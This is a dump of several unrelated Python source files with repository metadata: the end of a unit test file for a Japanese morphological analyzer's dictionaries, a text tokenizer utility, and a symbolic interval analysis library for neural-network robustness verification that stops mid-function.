self.assertEqual(7, len(sys_dic.lookup('形態素'.encode('utf-8')))) self.assertEqual(1, sys_dic.get_trans_cost(0, 1)) self.assertEqual({'HIRAGANA': []}, sys_dic.get_char_categories('は')) self.assertEqual({'KATAKANA': []}, sys_dic.get_char_categories('ハ')) self.assertEqual({'KATAKANA': []}, sys_dic.get_char_categories('ﾊ')) self.assertEqual({'KANJI': []}, sys_dic.get_char_categories('葉')) self.assertEqual({'ALPHA': []}, sys_dic.get_char_categories('C')) self.assertEqual({'ALPHA': []}, sys_dic.get_char_categories('Ｃ')) self.assertEqual({'SYMBOL': []}, sys_dic.get_char_categories('#')) self.assertEqual({'SYMBOL': []}, sys_dic.get_char_categories('＃')) self.assertEqual({'NUMERIC': []}, sys_dic.get_char_categories('5')) self.assertEqual({'NUMERIC': []}, sys_dic.get_char_categories('５')) self.assertEqual({'KANJI': [], 'KANJINUMERIC': ['KANJI']}, sys_dic.get_char_categories('五')) self.assertEqual({'GREEK': []}, sys_dic.get_char_categories('Γ')) self.assertEqual({'CYRILLIC': []}, sys_dic.get_char_categories('Б')) self.assertEqual({'DEFAULT': []}, sys_dic.get_char_categories('𠮷')) self.assertEqual({'DEFAULT': []}, sys_dic.get_char_categories('한')) self.assertTrue(sys_dic.unknown_invoked_always('ALPHA')) self.assertFalse(sys_dic.unknown_invoked_always('KANJI')) self.assertTrue(sys_dic.unknown_grouping('NUMERIC')) self.assertFalse(sys_dic.unknown_grouping('KANJI')) self.assertEqual(2, sys_dic.unknown_length('HIRAGANA')) def test_property_types(self): sys_dic = SystemDictionary(all_fstdata(), entries(), connections, chardef.DATA, unknowns.DATA) # entry in the system dictionary entry = sys_dic.lookup('すもも'.encode('utf8'))[0] self.assertTrue(type(entry[1]) is str) self.assertTrue(type(entry[0]) is int) self.assertTrue(type(entry[2]) is int) self.assertTrue(type(entry[3]) is int) self.assertTrue(type(entry[4]) is int) entry_extra = sys_dic.lookup_extra(entry[0]) self.assertTrue(type(entry_extra[0]) is str) self.assertTrue(type(entry_extra[1]) is str) self.assertTrue(type(entry_extra[2]) is str) self.assertTrue(type(entry_extra[3]) is str) self.assertTrue(type(entry_extra[4]) is str) self.assertTrue(type(entry_extra[5]) is str) # unknown entry entry = sys_dic.unknowns.get(u'HIRAGANA')[0] self.assertTrue(type(entry[3]) is str) self.assertTrue(type(entry[0]) is int) self.assertTrue(type(entry[1]) is int) self.assertTrue(type(entry[2]) is int) # mmap dict etnry mmap_dic = MMapSystemDictionary(all_fstdata(), mmap_entries(), connections, chardef.DATA, unknowns.DATA) entry = mmap_dic.lookup(u'すもも'.encode('utf8'))[0] self.assertTrue(type(entry[1]) is str) self.assertTrue(type(entry[0]) is int) self.assertTrue(type(entry[2]) is int) self.assertTrue(type(entry[3]) is int) self.assertTrue(type(entry[4]) is int) entry_extra = mmap_dic.lookup_extra(entry[0]) self.assertTrue(type(entry_extra[0]) is str) self.assertTrue(type(entry_extra[1]) is str) self.assertTrue(type(entry_extra[2]) is str) self.assertTrue(type(entry_extra[3]) is str) self.assertTrue(type(entry_extra[4]) is str) self.assertTrue(type(entry_extra[5]) is str) # entry in the user defined dictionary user_dic = UserDictionary(user_dict=os.path.join(parent_dir, 'tests/user_ipadic.csv'), enc='utf8', type='ipadic', connections=connections) entry = user_dic.lookup('東京スカイツリー'.encode('utf8'))[0] self.assertTrue(type(entry[1]) is str) self.assertTrue(type(entry[0]) is int) self.assertTrue(type(entry[2]) is int) self.assertTrue(type(entry[3]) is int) self.assertTrue(type(entry[4]) is int) def test_system_dictionary_cache(self): sys_dic = SystemDictionary(all_fstdata(), entries(), connections, chardef.DATA, unknowns.DATA) self.assertEqual(11, len(sys_dic.lookup('小書き'.encode('utf8')))) self.assertEqual(11, len(sys_dic.lookup('小書き'.encode('utf8')))) self.assertEqual(11, len(sys_dic.lookup('小書きにしました'.encode('utf8')))) self.assertEqual(10, len(sys_dic.lookup('みんなと'.encode('utf8')))) self.assertEqual(10, len(sys_dic.lookup('みんなと'.encode('utf8')))) self.assertEqual(2, len(sys_dic.lookup('叩く'.encode('utf8')))) self.assertEqual(2, len(sys_dic.lookup('叩く'.encode('utf8')))) def test_user_dictionary(self): # create user dictionary from csv user_dic = UserDictionary(user_dict=os.path.join(parent_dir, 'tests/user_ipadic.csv'), enc='utf8', type='ipadic', connections=connections) self.assertEqual(1, len(user_dic.lookup('東京スカイツリー'.encode('utf8')))) # save compiled dictionary dic_dir = os.path.join(parent_dir, 'tests/userdic') user_dic.save(to_dir=os.path.join(parent_dir, 'tests/userdic')) self.assertTrue(os.path.exists(os.path.join(dic_dir, FILE_USER_FST_DATA))) self.assertTrue(os.path.exists(os.path.join(dic_dir, FILE_USER_ENTRIES_DATA))) # load compiled dictionary compiled_user_dic = CompiledUserDictionary(dic_dir, connections=connections) self.assertEqual(1, len(compiled_user_dic.lookup('とうきょうスカイツリー駅'.encode('utf8')))) def test_user_dictionary_with_progress(self): # create user dictionary from csv with progress indicator progress_indicator = SimpleProgressIndicator(update_frequency=1.0) with self.assertLogs(logger=p_logger) as cm: # create user dictionary large_user_dic = UserDictionary( user_dict=os.path.join(parent_dir, 'tests/user_ipadic.csv'), enc='utf8', type='ipadic', connections=connections, progress_handler=progress_indicator) entry_count = len(large_user_dic.entries) # output for each entry and for complete (entry_count + 1) self.assertEqual((entry_count + 1) * 2, len(cm.output)) # reset after complete self.assertIsNone(progress_indicator.value) for i in range(0, (entry_count + 1) * 2): if i < entry_count: # progress for reading csv self.assertIn('Reading user dictionary from CSV', cm.output[i]) self.assertIn(f'{i + 1}/{entry_count}', cm.output[i]) elif i == entry_count: # on compete loading csv self.assertIn(f'{entry_count}/{entry_count}', cm.output[i]) elif i < entry_count * 2 + 1: # progress for create_minimum_transducer self.assertIn('Running create_minimum_transducer', cm.output[i]) self.assertIn(f'{i - entry_count}/{entry_count}', cm.output[i]) elif i == entry_count * 2 + 1: # on compete loading create_minimum_transducer self.assertIn(f'{entry_count}/{entry_count}', cm.output[i]) # same result as without progress indicator self.assertEqual(1, len(large_user_dic.lookup('東京スカイツリー'.encode('utf8')))) def test_simplified_user_dictionary(self): # create user dictionary from csv user_dic = UserDictionary(user_dict=os.path.join(parent_dir, 'tests/user_simpledic.csv'), enc='utf8', type='simpledic', connections=connections) self.assertEqual(1, len(user_dic.lookup('東京スカイツリー'.encode('utf8')))) # save compiled dictionary dic_dir = os.path.join(parent_dir, 'tests/userdic_simple') user_dic.save(to_dir=os.path.join(parent_dir, 'tests/userdic_simple')) self.assertTrue(os.path.exists(os.path.join(dic_dir, FILE_USER_FST_DATA))) self.assertTrue(os.path.exists(os.path.join(dic_dir, FILE_USER_ENTRIES_DATA))) # load compiled dictionary compiled_user_dic = CompiledUserDictionary(dic_dir, connections=connections) self.assertEqual(1, len(compiled_user_dic.lookup('とうきょうスカイツリー駅'.encode('utf8')))) def test_simplified_user_dictionary_with_progress(self): # create simplified user dictionary from csv with progress indicator progress_indicator = SimpleProgressIndicator(update_frequency=1.0) with self.assertLogs(logger=p_logger) as cm: # create user dictionary large_user_dic = UserDictionary( user_dict=os.path.join(parent_dir, 'tests/user_simpledic.csv'), enc='utf8', type='simpledic', connections=connections, progress_handler=progress_indicator) entry_count = len(large_user_dic.entries) # output for each entry and for complete (entry_count + 1) self.assertEqual((entry_count + 1) * 2, len(cm.output)) # value is reset after complete self.assertIsNone(progress_indicator.value) for i in range(0, (entry_count + 1) * 2): if i < entry_count: # progress for reading csv self.assertIn('Reading user dictionary from CSV', cm.output[i]) self.assertIn(f'{i + 1}/{entry_count}', cm.output[i]) elif i == entry_count: # on compete loading csv self.assertIn(f'{entry_count}/{entry_count}', cm.output[i]) elif i < entry_count * 2 + 1: # progress for create_minimum_transducer self.assertIn('Running create_minimum_transducer', cm.output[i]) self.assertIn(f'{i - entry_count}/{entry_count}', cm.output[i]) elif i == entry_count * 2 + 1: # on compete loading create_minimum_transducer self.assertIn(f'{entry_count}/{entry_count}', cm.output[i]) # same result as without progress indicator self.assertEqual(1, len(large_user_dic.lookup('東京スカイツリー'.encode('utf8')))) if __name__ == '__main__': unittest.main()

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e394cf8051ab02ec8d95d9b81d89e858337e83f4

102

py

Python

a24/test.py

assassinen/coursera_mfti_python

eee7b3c55256f391c1be32924fa1ad3364b307f2

[ "Apache-2.0" ]

null

a24/test.py

assassinen/coursera_mfti_python

eee7b3c55256f391c1be32924fa1ad3364b307f2

[ "Apache-2.0" ]

null

a24/test.py

assassinen/coursera_mfti_python

eee7b3c55256f391c1be32924fa1ad3364b307f2

[ "Apache-2.0" ]

null

'https://git.8gen.team/exchange/backoffice/b0-db_generator/blob/BO-188/db_generator/data/test_1.jsonl'

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e3ac2abc9f37c57687d9e61cf167f9c0f7957c0b

5,897

py

Python

src/renet2/utils/tokenizer.py

sujunhao/RENET2

21fb57d17544556e5f62737a6df40ff5e5f990ba

[ "BSD-3-Clause" ]

16

2021-03-06T10:41:00.000Z

2022-03-29T02:16:04.000Z

src/renet2/utils/tokenizer.py

sujunhao/RENET2

21fb57d17544556e5f62737a6df40ff5e5f990ba

[ "BSD-3-Clause" ]

2

2021-06-16T10:19:47.000Z

2021-07-16T08:12:18.000Z

src/renet2/utils/tokenizer.py

sujunhao/RENET2

21fb57d17544556e5f62737a6df40ff5e5f990ba

[ "BSD-3-Clause" ]

1

2022-03-22T02:13:19.000Z

def replace(s, s1, s2, skip): pos = 0 while (1): i = s.find(s1, pos) if (i == -1): break if (i > 0 and s[i-1] == skip): pos = i + 1 continue s = s[:i] + s2 + s[i+len(s1):] pos = i + len(s2) return s #only add space and split def tokenize(s): #print(s) lt = [] if (s[0] == '"'): s = "\" " + s[1:] s = s.replace(" \"", " \" ") s = s.replace("(\"", "( \" ") s = s.replace("[\"", "[ \" ") s = s.replace("{\"", "{ \" ") s = s.replace("<\"", "< \" ") s = s.replace("...", " ... ") s = s.replace(",", " , ") s = s.replace(";", " ; ") s = s.replace(":", " : ") s = s.replace("@", " @ ") s = s.replace("#", " # ") s = s.replace("$", " $ ") s = s.replace("%", " % ") s = s.replace("&", " & ") pos = len(s) - 1; while (pos > 0 and s[pos] == ' '): pos = pos-1 while (pos > 0): c = s[pos] if (c == '[' or c == ']' or c == ')' or c == '}' or c == '>' or c == '"' or c == '\''): pos-=1 continue break if (pos >= 0 and s[pos] == '.' and not (pos > 0 and s[pos-1] == '.')): s = s[:pos] + " ." + s[pos+1:] s = s.replace("?", " ? ") s = s.replace("!", " ! ") s = s.replace("[", " [ ") s = s.replace("]", " ] ") s = s.replace("(", " ( ") s = s.replace(")", " ) ") s = s.replace("{", " { ") s = s.replace("}", " } ") s = s.replace("<", " < ") s = s.replace(">", " > ") s = s.replace("--", " -- ") s = " " + s s = s + " " s = s.replace("\"", " \" ") s = replace(s, "' ", " ' ", '\''); s = s.replace("'s ", " 's ") s = s.replace("'S ", " 'S ") s = s.replace("'m ", " 'm ") s = s.replace("'M ", " 'M ") s = s.replace("'d ", " 'd ") s = s.replace("'D ", " 'D ") s = s.replace("'ll ", " 'll ") s = s.replace("'re ", " 're ") s = s.replace("'ve ", " 've ") s = s.replace("n't ", " n't ") s = s.replace("'LL ", " 'LL ") s = s.replace("'RE ", " 'RE ") s = s.replace("'VE ", " 'VE ") s = s.replace("N'T ", " N'T ") s = s.replace(" Cannot ", " Can not ") s = s.replace(" cannot ", " can not ") s = s.replace(" D'ye ", " D' ye ") s = s.replace(" d'ye ", " d' ye ") s = s.replace(" Gimme ", " Gim me ") s = s.replace(" gimme ", " gim me ") s = s.replace(" Gonna ", " Gon na ") s = s.replace(" gonna ", " gon na ") s = s.replace(" Gotta ", " Got ta ") s = s.replace(" gotta ", " got ta ") s = s.replace(" Lemme ", " Lem me ") s = s.replace(" lemme ", " lem me ") s = s.replace(" More'n ", " More 'n ") s = s.replace(" more'n ", " more 'n ") s = s.replace("'Tis ", " 'T is ") s = s.replace("'tis ", " 't is ") s = s.replace("'Twas ", " 'T was ") s = s.replace("'twas ", " 't was ") s = s.replace(" Wanna ", " Wan na ") s = s.replace(" wanna ", " wanna ") lt = s.strip().split() #print(s) return lt def tokenize_s(s): lt = [] #if (s[0] == '"'): # s = "`` " + s[1:] #s = s.replace(" \"", " `` ") #s = s.replace("(\"", "( `` ") #s = s.replace("[\"", "[ `` ") #s = s.replace("{\"", "{ `` ") #s = s.replace("<\"", "< `` ") if (s[0] == '"'): s = '" ' + s[1:] s = s.replace(" \"", " \" ") s = s.replace("(\"", "( \" ") s = s.replace("[\"", "[ \" ") s = s.replace("{\"", "{ \" ") s = s.replace("<\"", "< \" ") s = s.replace("...", " ... ") s = s.replace(",", " , ") s = s.replace(";", " ; ") s = s.replace(":", " : ") s = s.replace("@", " @ ") s = s.replace("#", " # ") s = s.replace("$", " $ ") s = s.replace("%", " % ") s = s.replace("&", " & ") pos = len(s) - 1; while (pos > 0 and s[pos] == ' '): pos = pos-1 while (pos > 0): c = s[pos] if (c == '[' or c == ']' or c == ')' or c == '}' or c == '>' or c == '"' or c == '\''): pos-=1 continue break if (pos >= 0 and s[pos] == '.' and not (pos > 0 and s[pos-1] == '.')): s = s[:pos] + " ." + s[pos+1:] s = s.replace("?", " ? ") s = s.replace("!", " ! ") s = s.replace("[", " [ ") s = s.replace("]", " ] ") s = s.replace("(", " ( ") s = s.replace(")", " ) ") s = s.replace("{", " { ") s = s.replace("}", " } ") s = s.replace("<", " < ") s = s.replace(">", " > ") s = s.replace("--", " -- ") s = " " + s s = s + " " #s = s.replace("\"", " '' ") s = s.replace("\"", " \" ") s = s.replace("' ", " ' ") #s = replace(s, "' ", " ' ", '\''); s = s.replace("'s ", " 's ") s = s.replace("'S ", " 'S ") s = s.replace("'m ", " 'm ") s = s.replace("'M ", " 'M ") s = s.replace("'d ", " 'd ") s = s.replace("'D ", " 'D ") s = s.replace("'ll ", " 'll ") s = s.replace("'re ", " 're ") s = s.replace("'ve ", " 've ") s = s.replace("n't ", " n't ") s = s.replace("'LL ", " 'LL ") s = s.replace("'RE ", " 'RE ") s = s.replace("'VE ", " 'VE ") s = s.replace("N'T ", " N'T ") s = s.replace(" Cannot ", " Can not ") s = s.replace(" cannot ", " can not ") s = s.replace(" D'ye ", " D' ye ") s = s.replace(" d'ye ", " d' ye ") #s = s.replace(" Gimme ", " Gim me ") #s = s.replace(" gimme ", " gim me ") #s = s.replace(" Gonna ", " Gon na ") #s = s.replace(" gonna ", " gon na ") #s = s.replace(" Gotta ", " Got ta ") #s = s.replace(" gotta ", " got ta ") #s = s.replace(" Lemme ", " Lem me ") #s = s.replace(" lemme ", " lem me ") #s = s.replace(" More'n ", " More 'n ") #s = s.replace(" more'n ", " more 'n ") #s = s.replace("'Tis ", " 'T is ") #s = s.replace("'tis ", " 't is ") #s = s.replace("'Twas ", " 'T was ") #s = s.replace("'twas ", " 't was ") #s = s.replace(" Wanna ", " Wan na ") #s = s.replace(" wanna ", " wanna ") s = s.replace("-", " - ") s = s.replace("'", " ' ") s = s.replace("/", " / ") s = s.replace("_", " _ ") s = s.replace("*", " * ") s = s.replace("+", " + ") s = s.replace("=", " = ") s = s.replace(".", " . ") s = s.replace(";", " ; ") lt = s.strip().split() return lt

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e3fd3ed47ad8b8905f736c911abe74102883803a

25,448

py

Python

pytorch_ares/third_party/hydra/symbolic_interval/interval.py

thu-ml/realsafe

474d549aa402b4cdd5e3629d23d035c31b60a360

[ "MIT" ]

107

2020-06-15T09:55:11.000Z

2020-12-20T11:27:11.000Z

pytorch_ares/third_party/hydra/symbolic_interval/interval.py

haichen-ber/ares

474d549aa402b4cdd5e3629d23d035c31b60a360

[ "MIT" ]

7

2020-06-14T03:00:18.000Z

2020-12-07T07:10:10.000Z

pytorch_ares/third_party/hydra/symbolic_interval/interval.py

haichen-ber/ares

474d549aa402b4cdd5e3629d23d035c31b60a360

[ "MIT" ]

19

2020-06-14T08:35:33.000Z

2020-12-19T13:43:41.000Z

''' Interval class definitions ** Top contributor: Shiqi Wang ** This file is part of the symbolic interval analysis library. ** Copyright (c) 2018-2019 by the authors listed in the file LICENSE ** and their institutional affiliations. ** All rights reserved. ''' from __future__ import print_function import numpy as np import torch import warnings class Interval(): '''Naive interval class Naive interval propagation is low-cost (only around two times slower than regular NN propagation). However, the output range provided is loose. This is because the dependency of inputs are ignored. See ReluVal https://arxiv.org/abs/1804.10829 for more details of the tradeoff. Naive interval propagation are used for many existing training schemes: (1) DiffAi: http://proceedings.mlr.press/v80/mirman18b/mirman18b.pdf (2) IBP: https://arxiv.org/pdf/1810.12715.pdf These training schemes are fast but the robustness of trained models suffers from the loose estimations of naive interval propagation. Args: lower: numpy matrix of the lower bound for each layer nodes upper: numpy matrix of the upper bound for each layer nodes lower and upper should have the same shape of input for each layer no upper value should be less than corresponding lower value * :attr:`l` and `u` keeps the upper and lower values of the interval. Naive interval propagation using them to propagate. * :attr:`c` and `e` means the center point and the error range of the interval. Symbolic interval propagation using to propagate since it can keep the dependency more efficiently. * :attr:`mask` is used to keep the estimation information for each hidden node. It has the same shape of the ReLU layer input. for each hidden node, before going through ReLU, let [l,u] denote a ReLU's input range. It saves the value u/(u-l), which is the slope of estimated output dependency. 0 means, given the input range, this ReLU's input will always be negative and the output is always 0. 1 indicates, it always stays positive and the output will not change. Otherwise, this node is estimated during interval propagation and will introduce overestimation error. ''' def __init__(self, lower, upper, use_cuda=False): if(not isinstance(self, Inverse_interval)): assert not ((upper-lower)<0).any(), "upper less than lower" self.l = lower self.u = upper self.c = (lower+upper)/2 self.e = (upper-lower)/2 self.mask = [] self.use_cuda = use_cuda def update_lu(self, lower, upper): '''Update this interval with new lower and upper numpy matrix Args: lower: numpy matrix of the lower bound for each layer nodes upper: numpy matrix of the upper bound for each layer nodes ''' # if(not isinstance(self, Inverse_interval)): # assert not ((upper-lower)<0).any(), "upper less than lower" self.l = lower self.u = upper self.c = (lower+upper)/2 self.e = (upper-lower)/2 def update_ce(self, center, error): '''Update this interval with new error and center numpy matrix Args: lower: numpy matrix of the lower bound for each layer nodes upper: numpy matrix of the upper bound for each layer nodes ''' # if(not isinstance(self, Inverse_interval)): # assert not (error<0).any(), "upper less than lower" self.c = center self.e = error self.u = self.c+self.e self.l = self.c-self.e def __str__(self): '''Print function ''' string = "interval shape:"+str(self.c.shape) string += "\nlower:"+str(self.l) string += "\nupper:"+str(self.u) return string def worst_case(self, y, output_size): '''Calculate the wrost case of the analyzed output ranges. In details, it returns the upper bound of other label minus the lower bound of the target label. If the returned value is less than 0, it means the worst case provided by interval analysis will never be larger than the target label y's. ''' assert y.shape[0] == self.l.shape[0] == self.u.shape[0],\ "wrong input shape" for i in range(y.shape[0]): t = self.l[i, y[i]] self.u[i] = self.u[i]-t self.u[i, y[i]] = 0.0 return self.u class Inverse_interval(Interval): def __init__(self, lower, upper, use_cuda=False): assert lower.shape[0]==upper.shape[0], "each symbolic"+\ "should have the same shape" Interval.__init__(self, lower, upper) self.use_cuda = use_cuda self.shape = list(self.c.shape[1:]) self.n = list(self.c[0].reshape(-1).size())[0] self.input_size = self.n self.batch_size = self.c.shape[0] def worst_case(self, y, output_size): assert y.shape[0] == self.l.shape[0] == self.u.shape[0],\ "wrong input shape" '''Taking the norm of the inverse interval for the worst case ''' u = self.c.abs()+self.e.abs() return u class Symbolic_interval(Interval): '''Symbolic interval class Symbolic interval analysis is a state-of-the-art tight output range analyze method. It captured the dependencies ignored by naive interval propagation. As the tradeoff, the cost is much higher than naive interval and regular propagations. To maximize the tightness, symbolic linear relaxation is used. More details can be found in Neurify: https://arxiv.org/pdf/1809.08098.pdf There are several similar methods which can provide close tightness (1) Convex polytope: https://arxiv.org/abs/1711.00851 (2) FastLin: https://arxiv.org/abs/1804.09699 (3) DeepZ: https://files.sri.inf.ethz.ch/website/papers/DeepZ.pdf This lib implements symbolic interval analysis, which can provide one of the tightest and most efficient analysis among all these methods. Symbolic interval analysis is used to verifiably robust train the networks in MixTrain, providing state-of-the-art efficiency and verifiable robustness. See https://arxiv.org/abs/1811.02625 for more details. Similar training methods include: (1) Scaling defense: https://arxiv.org/abs/1805.12514 (2) DiffAI: http://proceedings.mlr.press/v80/mirman18b/mirman18b.pdf * :attr:`shape` is the input shape of ReLU layers. * :attr:`n` is the number of hidden nodes in each layer. * :attr:`idep` keeps the input dependencies. * :attr:`edep` keeps the error dependency introduced by each overestimated nodes. ''' def __init__(self, lower, upper, epsilon=0, norm="linf", use_cuda=False): assert lower.shape[0]==upper.shape[0], "each symbolic"+\ "should have the same shape" Interval.__init__(self, lower, upper) self.use_cuda = use_cuda self.shape = list(self.c.shape[1:]) self.n = list(self.c[0].reshape(-1).size())[0] self.input_size = self.n self.batch_size = self.c.shape[0] self.epsilon = epsilon self.norm = norm if(self.use_cuda): self.idep = torch.eye(self.n, device=\ self.c.get_device()).unsqueeze(0) else: self.idep = torch.eye(self.n).unsqueeze(0) self.edep = [] self.edep_ind = [] '''Calculating the upper and lower matrix for symbolic intervals. To make concretize easier, convolutional layer nodes will be extended first. ''' def concretize(self): self.extend() if self.norm=="linf": e = (self.idep*self.e.view(self.batch_size,\ self.input_size, 1)).abs().sum(dim=1) elif self.norm == "l2": # idep = (self.idep*self.idep)\ # .sum(dim=1, keepdim=False).sqrt() idep = torch.norm(self.idep, dim=1, keepdim=False) e = idep*self.epsilon elif self.norm == "l1": idep = self.idep.abs().max(dim=1, keepdim=False)[0] e = idep*self.epsilon if self.edep: #print("sym e1", e) for i in range(len(self.edep)): e = e + self.edep_ind[i].t().mm(self.edep[i].abs()) #print("sym e2", e) self.l = self.c - e self.u = self.c + e return self '''Extending convolutional layer nodes to a two-dimensional vector. ''' def extend(self): self.c = self.c.reshape(self.batch_size, self.n) self.idep = self.idep.reshape(-1, self.input_size, self.n) for i in range(len(self.edep)): self.edep[i] = self.edep[i].reshape(-1, self.n) '''Convert the extended layer back to the shape stored in `shape`. ''' def shrink(self): self.c = self.c.reshape(tuple([-1]+self.shape)) self.idep = self.idep.reshape(tuple([-1]+self.shape)) for i in range(len(self.edep)): self.edep[i] = self.edep[i].reshape(\ tuple([-1]+self.shape)) '''Calculate the wrost case of the analyzed output ranges. Return the upper bound of other output dependency minus target's output dependency. If the returned value is less than 0, it means the worst case provided by interval analysis will never be larger than the target label y's. ''' def worst_case(self, y, output_size): assert y.shape[0] == self.l.shape[0] == self.batch_size,\ "wrong label shape" if(self.use_cuda): kk = torch.eye(output_size, dtype=torch.uint8,\ requires_grad=False, device=y.get_device())[y] else: kk = torch.eye(output_size, dtype=torch.uint8,\ requires_grad=False)[y] c_t = self.c.masked_select(kk).unsqueeze(1) self.c = self.c - c_t idep_t = self.idep.masked_select(\ kk.view(self.batch_size,1,output_size)).\ view(self.batch_size, self.input_size,1) self.idep = self.idep-idep_t for i in range(len(self.edep)): edep_t = self.edep[i].masked_select((self.edep_ind[i].\ mm(kk.type_as(self.edep_ind[i]))).type_as(kk)).\ view(-1,1) self.edep[i] = self.edep[i]-edep_t self.concretize() return self.u class mix_interval(Symbolic_interval): def __init__(self, lower, upper, epsilon=0, norm="linf", use_cuda=False): assert lower.shape[0]==upper.shape[0], "each symbolic"+\ "should have the same shape" Symbolic_interval.__init__(self, lower, upper) self.use_cuda = use_cuda self.shape = list(self.c.shape[1:]) self.n = list(self.c[0].reshape(-1).size())[0] self.input_size = self.n self.batch_size = self.c.shape[0] self.epsilon = epsilon self.norm = norm if(self.use_cuda): self.idep = torch.eye(self.n, device=\ self.c.get_device()).unsqueeze(0) else: self.idep = torch.eye(self.n).unsqueeze(0) self.edep = [] self.edep_ind = [] self.nl = self.l.clone().detach() self.nu = self.u.clone().detach() self.nc = self.c.clone().detach() self.ne = self.e.clone().detach() '''Calculating the upper and lower matrix for symbolic intervals. To make concretize easier, convolutional layer nodes will be extended first. ''' def concretize(self): self.extend() if self.norm=="linf": e = (self.idep*self.e.view(self.batch_size,\ self.input_size, 1)).abs().sum(dim=1) elif self.norm == "l2": # idep = (self.idep*self.idep)\ # .sum(dim=1, keepdim=False).sqrt() idep = torch.norm(self.idep, dim=1, keepdim=False) e = idep*self.epsilon elif self.norm == "l1": idep = self.idep.abs().max(dim=1, keepdim=False)[0] e = idep*self.epsilon if self.edep: #print("sym e1", e) for i in range(len(self.edep)): e = e + self.edep_ind[i].t().mm(self.edep[i].abs()) #print("sym e2", e) self.l = self.c - e self.u = self.c + e self.l = torch.where(self.l>self.nl, self.l, self.nl) self.u = torch.where(self.u<self.nu, self.u, self.nu) return self '''Extending convolutional layer nodes to a two-dimensional vector. ''' def extend(self): self.c = self.c.reshape(self.batch_size, self.n) self.idep = self.idep.reshape(-1, self.input_size, self.n) for i in range(len(self.edep)): self.edep[i] = self.edep[i].reshape(-1, self.n) self.nc = self.nc.reshape(self.batch_size, self.n) self.ne = self.ne.reshape(self.batch_size, self.n) self.nl = self.nl.reshape(self.batch_size, self.n) self.nu = self.nu.reshape(self.batch_size, self.n) '''Convert the extended layer back to the shape stored in `shape`. ''' def shrink(self): self.c = self.c.reshape(tuple([-1]+self.shape)) self.idep = self.idep.reshape(tuple([-1]+self.shape)) for i in range(len(self.edep)): self.edep[i] = self.edep[i].reshape(\ tuple([-1]+self.shape)) self.nc = self.nc.reshape(tuple([-1]+self.shape)) self.ne = self.ne.reshape(tuple([-1]+self.shape)) self.nl = self.nl.reshape(tuple([-1]+self.shape)) self.nu = self.nu.reshape(tuple([-1]+self.shape)) '''Calculate the wrost case of the analyzed output ranges. Return the upper bound of other output dependency minus target's output dependency. If the returned value is less than 0, it means the worst case provided by interval analysis will never be larger than the target label y's. ''' def worst_case(self, y, output_size): assert y.shape[0] == self.l.shape[0] == self.batch_size,\ "wrong label shape" if(self.use_cuda): kk = torch.eye(output_size, dtype=torch.uint8,\ requires_grad=False, device=y.get_device())[y] else: kk = torch.eye(output_size, dtype=torch.uint8,\ requires_grad=False)[y] c_t = self.c.masked_select(kk).unsqueeze(1) self.c = self.c - c_t idep_t = self.idep.masked_select(\ kk.view(self.batch_size,1,output_size)).\ view(self.batch_size, self.input_size,1) self.idep = self.idep-idep_t for i in range(len(self.edep)): edep_t = self.edep[i].masked_select((self.edep_ind[i].\ mm(kk.type_as(self.edep_ind[i]))).type_as(kk)).\ view(-1,1) self.edep[i] = self.edep[i]-edep_t self.concretize() return self.u class Center_symbolic_interval(Interval): def __init__(self, lower, upper, use_cuda=False): assert lower.shape[0]==upper.shape[0], "each symbolic"+\ "should have the same shape" Interval.__init__(self, lower, upper) self.use_cuda = use_cuda self.shape = list(self.c.shape[1:]) self.n = list(self.c[0].reshape(-1).size())[0] self.input_size = self.n self.batch_size = self.c.shape[0] if(self.use_cuda): self.idep = torch.eye(self.n, device=\ self.c.get_device()).unsqueeze(0) else: self.idep = torch.eye(self.n).unsqueeze(0) '''Calculating the upper and lower matrix for symbolic intervals. To make concretize easier, convolutional layer nodes will be extended first. ''' def concretize(self): self.extend() e = (self.idep*self.e.view(self.batch_size,\ self.input_size, 1)).abs().sum(dim=1) self.l = self.c - e self.u = self.c + e return self '''Extending convolutional layer nodes to a two-dimensional vector. ''' def extend(self): self.c = self.c.reshape(self.batch_size, self.n) self.idep = self.idep.reshape(-1, self.input_size, self.n) '''Convert the extended layer back to the shape stored in `shape`. ''' def shrink(self): self.c = self.c.reshape(tuple([-1]+self.shape)) self.idep = self.idep.reshape(tuple([-1]+self.shape)) '''Calculate the wrost case of the analyzed output ranges. Return the upper bound of other output dependency minus target's output dependency. If the returned value is less than 0, it means the worst case provided by interval analysis will never be larger than the target label y's. ''' def worst_case(self, y, output_size): assert y.shape[0] == self.l.shape[0] == self.batch_size,\ "wrong label shape" if(self.use_cuda): kk = torch.eye(output_size, dtype=torch.uint8,\ requires_grad=False, device=y.get_device())[y] else: kk = torch.eye(output_size, dtype=torch.uint8,\ requires_grad=False)[y] c_t = self.c.masked_select(kk).unsqueeze(1) self.c = self.c - c_t idep_t = self.idep.masked_select(\ kk.view(self.batch_size,1,output_size)).\ view(self.batch_size, self.input_size,1) self.idep = self.idep-idep_t self.concretize() return self.u class Symbolic_interval_proj1(Interval): ''' * :attr:`shape` is the input shape of ReLU layers. * :attr:`n` is the number of hidden nodes in each layer. * :attr:`idep` keeps the input dependencies. * :attr:`edep` keeps the error dependency introduced by each overestimated nodes. ''' def __init__(self, lower, upper, proj=None, proj_ind=None, use_cuda=False): assert lower.shape[0]==upper.shape[0], "each symbolic"+\ "should have the same shape" Interval.__init__(self, lower, upper) self.use_cuda = use_cuda self.shape = list(self.c.shape[1:]) self.n = list(self.c[0].reshape(-1).size())[0] self.input_size = self.n self.batch_size = self.c.shape[0] if(self.use_cuda): self.idep = torch.eye(self.n, device=\ self.c.get_device()) else: self.idep = torch.eye(self.n) self.edep = [] self.edep_ind = [] self.proj_ind = proj_ind if(proj>self.input_size): warnings.warn("proj is larger than input size") self.proj = self.input_size else: self.proj = proj if(proj_ind is None): idep_ind = np.arange(self.proj) proj_ind = np.arange(self.proj, self.input_size) self.idep_proj = self.idep[proj_ind].sum(dim=0).unsqueeze(0) self.idep = self.idep[idep_ind].unsqueeze(0) self.idep_proj = self.idep_proj*self.e.\ view(self.batch_size, self.input_size) self.e = self.e.view(self.batch_size, self.input_size)[:, idep_ind] else: self.idep = self.idep.unsqueeze(0)*\ self.e.view(self.batch_size,1,self.n) #print(self.idep.shape, proj_ind.shape) self.idep = self.idep.gather(index=proj_ind.\ unsqueeze(-1).repeat(1,1,self.n), dim=1) #print(self.idep.shape) self.idep_proj = (self.idep.sum(dim=1)==0).type_as(self.idep) self.idep_proj = self.idep_proj*\ self.e.view(self.batch_size, self.input_size) #print("proj",self.idep_proj.shape) '''Calculating the upper and lower matrix for symbolic intervals. To make concretize easier, convolutional layer nodes will be extended first. ''' def concretize(self): 